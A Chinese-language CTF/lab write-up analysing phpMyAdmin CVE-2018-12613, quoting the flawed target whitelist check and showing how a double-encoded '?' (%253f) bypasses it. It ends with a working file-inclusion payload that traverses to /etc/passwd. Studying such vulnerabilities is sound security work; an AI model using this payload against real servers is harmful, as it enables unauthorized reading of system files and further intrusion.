受影响版本
phpMyAdmin 4.8.0和4.8.1
环境
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
下载源码后,可以配合phpstudy在本地搭建环境,我这里直接在BUUOJ里现有的环境做的
漏洞分析
在这段代码中,连着有五个if判断语句
if (! empty($_REQUEST['target']) #target参数不能为空
&& is_string($_REQUEST['target']) #target参数传入的值必须是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) #target传入的值不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) #target传入的值中不能含有在$target_blacklist内出现的东西
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
这里是$_REQUEST
,post方法和get方法都支持
倒数第二个判断中提到的$target_blacklist
,本质上是一个黑名单,限制传入的内容
$target_blacklist = array (
'import.php', 'export.php'
);
最后一个判断中的checkPageValidity
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) { #如果$whitelist为空,则引用$goto_whitelist
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) { #如果$page没有被定义,或者$page不是字符串,则返回false
return false;
}
if (in_array($page, $whitelist)) { #如果$page有$whitelist中的某个值,则返回true
return true;
}
$_page = mb_substr( #$_page截取$page传参前的值,如$page=index.php?a=123,则$_page=index.php
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { #如果$_page有$whitelist中的某个值,则返回true
return true;
}
$_page = urldecode($page); #突破点
$_page = mb_substr( #$_page截取$_page传参前的值
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { ##如果$_page有$whitelist中的某个值,则返回true
return true;
}
return false;
}
这里in_array($page, $whitelist)
前后执行了四次,比较有意思的是,如果匹配成功会返回true,但是匹配不成功不会返回false,这也为后面构造payload提供了可能性。
突破点在$_page = urldecode($page);
,如果我们构造,使得decode后出现了一个?
,那么之后截取$_page传参前的值(即?
之前的内容),就可以利用了
漏洞利用
?target=db_sql.php%253f/../../../../../../../../etc/passwd
因为`%253f`二次url解码后是`?`,整体变成
?target=db_sql.php?/../../../../../../../../etc/passwd
截取之后的$_page
是db_sql.php
,在$whitelist
中,满足条件,返回true
成功进行目录穿越